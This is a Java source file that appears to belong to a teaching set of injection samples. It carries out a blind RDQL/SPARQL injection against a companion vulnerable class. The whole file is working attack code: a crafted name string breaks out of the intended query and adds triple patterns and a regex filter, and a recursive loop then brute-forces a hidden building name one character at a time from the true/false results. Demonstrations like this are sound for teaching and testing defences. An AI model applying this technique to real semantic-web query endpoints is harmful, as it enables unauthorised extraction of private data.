package injection.sample4_Blind_RDQL_Injection;

//Blind SPARQL Injection
public class Sample4hack {
	// Could be Character.MIN_VALUE..Character.MAX_VALUE, it just would take some more time
	private static final String POSSIBLE_LETTERS = "abcdefghijklmnopqrstuvwyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ";
	
	public static boolean tryBlind(String s) throws Exception{
		Sample4code sample = new Sample4code();
		String name = "Pablo Orduna'), " +
			"(?b1, <rdf:type>, <injection:Building>), " +
			"(?b1, <injection:name>, ?buildingName) " +
			"AND ?buildingName ~~ /^" + s + ".*/" +
			"USING injection for <http://www.morelab.deusto.es/injection.owl#>, " +
			"      rdf for <http://www.w3.org/1999/02/22-rdf-syntax-ns#>" +
			"//";
		
		String result = sample.run(name);
		// result will be Pablo or null
		return result != null;
	}
	
	public static String recursively(String letters) throws Exception{
		for(int i = 0; i < POSSIBLE_LETTERS.length(); ++i){
			// This part might be optimized by using binary search:
			// first asking for [A-M], then for [G-M] in the regular expression...
			char c = POSSIBLE_LETTERS.charAt(i);
			if(tryBlind(letters + c)){
				System.out.println(c);
				return "" + c + recursively(letters + c);
			}
		}
		return "";
	}
	
	public static void main(String [] args) throws Exception{
		System.out.println(recursively(""));
	}
}
